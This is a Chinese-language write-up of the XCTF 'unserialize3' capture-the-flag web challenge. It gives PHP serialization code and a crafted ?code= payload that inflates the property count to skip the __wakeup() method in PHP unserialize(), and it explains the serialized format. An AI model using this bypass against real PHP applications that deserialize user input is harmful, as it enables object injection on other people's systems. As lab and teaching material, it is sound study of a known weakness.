unserialize3 xctf 攻防世界 web高手进阶区
题目描述

进入题目场景,看见

审计代码,知道代码定义了一个类,其中有一个魔法方法_wakeup(),_wakeup()会直接退出,并输出" bad requests " 末尾有" ?code= " 看样子是要构造url来绕过_wakeup()这个函数了。
首先_wakeup()方法会在使用函数unserialize()时自动调用。(反序列)
解题思路:获取定义的类序列化后的字符串,然后传入code。
序列化操作可以自己写php或者找序列化工具。(http://www.dooccn.com/php/)
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$a = new xctf();
$b = serialize($a);
echo $b;
?>
//结果: O:4:"xctf":1:{s:4:"flag";s:3:"111";}
将结果放到?code=后,发现传入的code会被unserialize()反序列化。

解决反序列的方法:当序列化字符串当中属性个数值大于实际的属性个数时,就会导致反序列化异常,从而跳过__wakeup函数。
即构造payload:?code=O:4:"xctf":3:{s:4:"flag";s:3:"111";}

即可得到flag。
扩展:
serialize()完成序列化的操作,将传入的值转换为序列化后的字符串。
unserialize()完成反序列化的操作,将字符串转换成原来的变量。
拿本题O:4:"xctf":1:{s:4:"flag";s:3:"111";} 来解释序列化后的含义。
它表示序列化的是一个对象,对象所在类名是"xctf"、该对象有一个属性,属性名为一个长度为4的字符串"flag"、该属性值为一个长度为3的字符串"111"。
注意:
① 当属性为private属性时,它会在两侧加入空字节,导致其长度会增加2
② 序列化对象时只会序列化对象中的属性值,不会序列化其中的函数

浙公网安备 33010602011771号